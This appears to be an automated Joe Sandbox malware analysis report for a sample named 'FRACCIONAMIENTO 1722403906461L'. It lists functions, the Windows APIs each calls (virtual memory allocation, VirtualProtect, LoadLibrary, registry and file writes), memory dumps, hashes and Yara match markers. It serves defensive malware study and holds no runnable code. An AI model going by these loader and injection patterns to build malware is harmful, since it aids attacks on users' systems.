Instruction Fuzzy Hash: 73D0C972514130ABC2102728AE0889ABB56EB64271B014A35F9A5A62B0CB304C628A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405C16 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C
GetLastError.KERNEL32 ref: 00405C2A

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 66e62c5d6c7775ff4cea72667941029308d228c48495a605f612c1d2d9e1fc74
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: FBC04C31218605AEE7605B219F0CB177A94DB50741F114839E186F40A0DA788455D92D

Uniqueness

Uniqueness Score: -1.00%

Function 033D7D89 Relevance: 1.6, APIs: 1, Instructions: 70libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 033D9749: NtAllocateVirtualMemory.NTDLL ref: 033D9960

Part of subcall function 033D7ED6: CreateFileA.KERNELBASE(?,085279B5,-6D6ADEB4,-508CF367), ref: 033D82CE

LoadLibraryA.KERNELBASE(?,378EE564,?,033CDA3E), ref: 033D8EAD

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID: AllocateCreateFileLibraryLoadMemoryVirtual
String ID:
API String ID: 2281259287-0
Opcode ID: 04a830c53fcfe2473565d6190b274c0d3c14b2814401cf906cb6e29aa96760d1
Instruction ID: 671f88309e15fd6ba8d1d4c797cc0aa536c443cb399e31f3afd893af20c01280
Opcode Fuzzy Hash: 04a830c53fcfe2473565d6190b274c0d3c14b2814401cf906cb6e29aa96760d1
Instruction Fuzzy Hash: 4F219F76A18345DFCB70EF39E9D47EA77A4AF08690F10442AAC9C9F614E7705A408F52

Uniqueness

Uniqueness Score: -1.00%

Function 033DB426 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

K32GetDeviceDriverBaseNameA.KERNEL32(00000001,033DB86F), ref: 033DB546

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID: BaseDeviceDriverName
String ID:
API String ID: 2335996259-0
Opcode ID: 6458119b3a0f47c2ca460540cd35ae96a2444f87664bbaa37c69d84335b83edc
Instruction ID: 8bb96fc0be81a885163c6102bc54d52d04f6b7a07781fa007d62553d9e2bfcd0
Opcode Fuzzy Hash: 6458119b3a0f47c2ca460540cd35ae96a2444f87664bbaa37c69d84335b83edc
Instruction Fuzzy Hash: 0601D473604245CFCF25CF64E9C42DDBB66AF88314F62852AC9038FB04D6319C808B01

Uniqueness

Uniqueness Score: -1.00%

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: a58878bd09eabd37c2a753385f93d12ee34b17dd18e98857f8ebabd4f9d4e486
Instruction ID: be669950fb77a2d656db840ba494943e65029fea8fad8f9acd4f4e8736b9b328
Opcode Fuzzy Hash: a58878bd09eabd37c2a753385f93d12ee34b17dd18e98857f8ebabd4f9d4e486
Instruction Fuzzy Hash: 62F0BB31A08120E7CB11BBB55F4DE5E2154DF83364F24023FF011B11D1D9BDC95255AE

Uniqueness

Uniqueness Score: -1.00%

Function 033D8DE9 Relevance: 1.5, APIs: 1, Instructions: 37libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,378EE564,?,033CDA3E), ref: 033D8EAD

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e69af04d78483a196097fe697242480d2188c557aeedded0c381d5e908bb314f
Instruction ID: 1bd4a25b254567603465d452aedc9d06ecfce9d637b677178f9cf888006ef7fe
Opcode Fuzzy Hash: e69af04d78483a196097fe697242480d2188c557aeedded0c381d5e908bb314f
Instruction Fuzzy Hash: FF01197560835ADBCF75EF79E8D8BE937A4AF08681F10412AAC1C9F201D7706A008F61

Uniqueness

Uniqueness Score: -1.00%

Function 00406503 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E57,00000000,?,?), ref: 0040652C

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f0170b29b94a961cdf0cc122a920c286c7e5b726b195fdee8f598fb45efbb6e4
Instruction ID: 390987c888b9fe28ccc3a202ccefe0e129b8fdbaba7b34d45eb5723cdb444700
Opcode Fuzzy Hash: f0170b29b94a961cdf0cc122a920c286c7e5b726b195fdee8f598fb45efbb6e4
Instruction Fuzzy Hash: C1E0ECB2010109BEEF099F90EC0ADBB372DEB04704F41492EF907E4091E6B5AE70AA34

Uniqueness

Uniqueness Score: -1.00%

Function 0040620A Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000,0040D198,0040CEF0,00403579,0040CEF0,0040D198,<?xml version="1.0" encoding="UTF-8"?><svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg"> <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.66015,00004000,?,00000000,004033A3,00000004), ref: 0040621E

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 398385dbb58ca0a44fa402a726e0ab0b2131cea3ae709c8a1b666252059dd88a
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: F6E08632141129EBCF10AE548C00EEB375CFB01350F014476F955E3040D330E93087A5

Uniqueness

Uniqueness Score: -1.00%

Function 71312A7F Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(7131505C,00000004,00000040,7131504C), ref: 71312A9D

Memory Dump Source

Source File: 00000001.00000002.16158677852.0000000071311000.00000020.00000001.01000000.00000004.sdmp, Offset: 71310000, based on PE: true

Associated: 00000001.00000002.16158620855.0000000071310000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158742239.0000000071314000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158797854.0000000071316000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71310000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c759179947ead17ffaab1af26b8dfd3518693c237303f03d39bcadad5c0db8d3
Instruction ID: 77b41ee4586e63b3b8a70f43d61384883e4a0bb4f1579aa107d90ae6c128e150
Opcode Fuzzy Hash: c759179947ead17ffaab1af26b8dfd3518693c237303f03d39bcadad5c0db8d3
Instruction Fuzzy Hash: 99F0AEF2A29A81DED351CFAFC444B093BF8B70A309B35862BE188DB244E3344544FB91

Uniqueness

Uniqueness Score: -1.00%

Function 00404610 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8557fc69485774ba4641c6a2d2b4437b1a5152abf7221d5f63999a85994ee7b6
Instruction ID: 1d0f09303225af8c469e983b8f6ba21d59f3f36861eec243a4bc5be8392dea83
Opcode Fuzzy Hash: 8557fc69485774ba4641c6a2d2b4437b1a5152abf7221d5f63999a85994ee7b6
Instruction Fuzzy Hash: 9EC09B71741700FBDE209B509F45F077794A754701F154979B741F60E0D775D410D62D

Uniqueness

Uniqueness Score: -1.00%

Function 004035F8 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 004045F9 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
Instruction ID: 26063d6d883ff380d2e1d7f9fe2b9d631bf033e6200e0a233fd0d302f8c02db7
Opcode Fuzzy Hash: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
Instruction Fuzzy Hash: 5BB01235286A00FBDE614B00DE09F457E62F764B01F048078F741240F0CAB300B5DF19

Uniqueness

Uniqueness Score: -1.00%

Function 004045E6 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,004043BD), ref: 004045F0

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b9cabee76f1705efe6df0b682491f715d60f75bd340f366a7093c5de42737780
Instruction ID: 97f05af551d2e904d84950d91e3a9b28448307360fbef328a82585e9573e9e03
Opcode Fuzzy Hash: b9cabee76f1705efe6df0b682491f715d60f75bd340f366a7093c5de42737780
Instruction Fuzzy Hash: DBA001B6604500ABDE129F61EF09D0ABB72EBA4B02B418579A28590034CA365961FB1D

Uniqueness

Uniqueness Score: -1.00%

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 15a9c0a1a05cffc918dcbcc278dd47063fd183ee82f4bdf0f9578bef0d0e5dce
Instruction ID: bbd52a04332822db077aadb4670005be58b9dadf0e212328a8e92bdd2ddecc01
Opcode Fuzzy Hash: 15a9c0a1a05cffc918dcbcc278dd47063fd183ee82f4bdf0f9578bef0d0e5dce
Instruction Fuzzy Hash: 1BD05E73A141018BD714EBB8BE8545E73A8EB503193208837D442E1191E6788896861C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404AB5 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404B04
SetWindowTextW.USER32(00000000,?), ref: 00404B2E
SHBrowseForFolderW.SHELL32(?), ref: 00404BDF
CoTaskMemFree.OLE32(00000000), ref: 00404BEA
lstrcmpiW.KERNEL32(Call,00423748,00000000,?,?), ref: 00404C1C
lstrcatW.KERNEL32(?,Call), ref: 00404C28
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404C3A

Part of subcall function 00405CAC: GetDlgItemTextW.USER32(?,?,00000400,00404C71), ref: 00405CBF

Part of subcall function 004068EF: CharNextW.USER32(?,*?|<>/":,00000000,00000000,769B3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406952
Part of subcall function 004068EF: CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406961
Part of subcall function 004068EF: CharNextW.USER32(?,00000000,769B3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406966
Part of subcall function 004068EF: CharPrevW.USER32(?,?,769B3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406979

GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404CFD
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404D18

Part of subcall function 00404E71: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
Part of subcall function 00404E71: wsprintfW.USER32 ref: 00404F1B
Part of subcall function 00404E71: SetDlgItemTextW.USER32(?,00423748), ref: 00404F2E

Strings

H7B, xrefs: 00404BB2
A, xrefs: 00404BD8
Call, xrefs: 00404C16, 00404C1B, 00404C26
C:\Users\user\AppData\Local\Temp, xrefs: 00404C05

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp$Call$H7B
API String ID: 2624150263-3840399979
Opcode ID: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
Instruction ID: 9155a42c54a3203d4d9709c494e168d8d926bd307d67cbb08bf4d9f42020e7e3
Opcode Fuzzy Hash: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
Instruction Fuzzy Hash: 94A171F1900219ABDB11EFA5CD41AAFB7B8EF84315F11843BF601B62D1D77C8A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 004021AA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402229

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00402269

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 542301482-670666241
Opcode ID: bf3cff04906a8fef3a301f9eed657051bf574afb9f0f1a3cc87761232435f051
Instruction ID: f110e38d5ccd8909b9e85e2ea6b1342c5fae2602ce40754bea02e3b472428d32
Opcode Fuzzy Hash: bf3cff04906a8fef3a301f9eed657051bf574afb9f0f1a3cc87761232435f051
Instruction Fuzzy Hash: BC411771A00209EFCF40DFE4C989E9D7BB5BF49304B20456AF505EB2D1DB799981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 033D8FFD Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

&@\", xrefs: 033D9001
,WA, xrefs: 033CE479

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: &@\"$,WA
API String ID: 0-3493371098
Opcode ID: 47c5058c8a3d3a273ec813926825953c8838103414dc487b6f64336bec88e896
Instruction ID: 551db783f4512c32622129837ffddd519f05c614e4eff4f1f6daaa473a499d9a
Opcode Fuzzy Hash: 47c5058c8a3d3a273ec813926825953c8838103414dc487b6f64336bec88e896
Instruction Fuzzy Hash: F331F6B36143C19BD775CD389CE13EABBA56B66240F4C446EA8CACB301D7308A85C711

Uniqueness

Uniqueness Score: -1.00%

Function 033D091B Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: 70b084d81b756f7a9001a7e71ce15862cde0c349ce777c3d156c07ca59e31898
Instruction ID: e6f1cb5e643e8334509c3512f60304ed18d64af7d9ecdb604318cedbafc56162
Opcode Fuzzy Hash: 70b084d81b756f7a9001a7e71ce15862cde0c349ce777c3d156c07ca59e31898
Instruction Fuzzy Hash: 9FD1F272A483898FCB35CF28CC847DA77B6FF59720F45412ADC999B211C7714A82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D0388 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: ad8ba3f4f0f32ff477054bc4221fafc27d89e0b66d6a8ec4a21b2a68f79620d5
Instruction ID: aaace99c06c92c30a9d0ac5d4d25e603957a60aa014e65c6fb4c4fef959b4eab
Opcode Fuzzy Hash: ad8ba3f4f0f32ff477054bc4221fafc27d89e0b66d6a8ec4a21b2a68f79620d5
Instruction Fuzzy Hash: BCB100726083898FCB78CF29DC857EA77A5FF16320F55416ACC999F211C3714A82CB95

Uniqueness

Uniqueness Score: -1.00%

Function 033D03C2 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: a66ac6988ec45fc1b5ba668d71b781a243885e32f4c00b3d8e9c8bc10b7565a6
Instruction ID: 268378752967c329925885cb93cd1098df8e519ddd38dde9d387fdb230ef0c21
Opcode Fuzzy Hash: a66ac6988ec45fc1b5ba668d71b781a243885e32f4c00b3d8e9c8bc10b7565a6
Instruction Fuzzy Hash: D6A110726483998FCB38CF28DC857DA77A5FF5A720F49416ACC599F211C3B14A82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D0376 Relevance: 1.5, Strings: 1, Instructions: 229COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: 20fd2a14bf7f2e98a625ee4c028140db7395dfd5535a63301da143c02add251a
